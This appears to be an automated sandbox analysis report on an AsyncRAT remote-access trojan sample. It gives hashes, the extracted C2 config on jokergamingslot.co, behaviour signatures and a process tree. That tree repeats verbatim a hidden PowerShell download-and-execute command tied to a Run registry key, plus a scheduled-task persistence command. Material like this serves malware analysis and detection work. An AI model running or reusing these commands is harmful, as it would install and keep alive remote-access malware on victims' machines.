Overview

overview

10

Static

static

10

a012d90cdd...1a.exe

windows10-2004-x64

10

a012d90cdd...1a.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/08/2026, 03:17

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General

  • Target
    a012d90cdde5c3183dfccfc3effc4b9f4416150195c0420441caa4d72816dc1a.exe
  • Size 149KB
  • Sample260827-dtdctsdk2w
  • SHA256 a012d90cdde5c3183dfccfc3effc4b9f4416150195c0420441caa4d72816dc1a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defaultdefense_evasiondiscoveryexecutionasyncratpersistencerat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://jokergamingslot.co/load.ps1

Extracted

Family

  • asyncrat

Version

  • 0.5.8

Botnet

  • Default

C2

  • jokergamingslot.co:8080

  • jokergamingslot.co:443

  • jokergamingslot.co:80

  • C2.jokergamingslot.co:8080

  • C2.jokergamingslot.co:443

  • C2.jokergamingslot.co:80

  • www.jokergamingslot.co:8080

  • www.jokergamingslot.co:443

  • www.jokergamingslot.co:80

Mutex

  • UgvPONHO2GHI

Attributes
  • delay

    3

  • install

    true

  • install_file

    tele@engineer_at_meta.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Async RAT payload 1 IoCs
    rat
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a012d90cdde5c3183dfccfc3effc4b9f4416150195c0420441caa4d72816dc1a.exe
    "C:\Users\Admin\AppData\Local\Temp\a012d90cdde5c3183dfccfc3effc4b9f4416150195c0420441caa4d72816dc1a.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:5096
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"' & exit
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"'
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3520
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4F55.tmp.bat""
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:64
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:1188
      • C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
        "C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4060
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:1044
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')"
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2336
  • C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
    "C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:1596

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_0boxnp3k.oyx.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0boxnp3k.oyx.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        tmp4F55.tmp.bat
        • Path C:\Users\Admin\AppData\Local\Temp\tmp4F55.tmp.bat
        • Size 165B
        • SHA256 5614aa3b0a126e6d68a4ed5f1e54fc23afcf557b4386ebfc4a6974e191cf3beb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        tele@engineer_at_meta.exe
        • Path C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
        • Size 149KB
        • SHA256 a012d90cdde5c3183dfccfc3effc4b9f4416150195c0420441caa4d72816dc1a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/2336-3-0x000001A1E8A60000-0x000001A1E8A70000-memory.dmp
        Download

        memory/2336-2-0x000001A1E8A60000-0x000001A1E8A70000-memory.dmp
        Download

        memory/2336-11-0x000001A1E8A30000-0x000001A1E8A52000-memory.dmp
        Download

        memory/2952-0-0x00000000009E0000-0x0000000000A0C000-memory.dmp
        Download

        memory/2952-1-0x00000000053C0000-0x00000000053D0000-memory.dmp
        Download

        memory/2952-12-0x00000000065A0000-0x000000000663C000-memory.dmp
        Download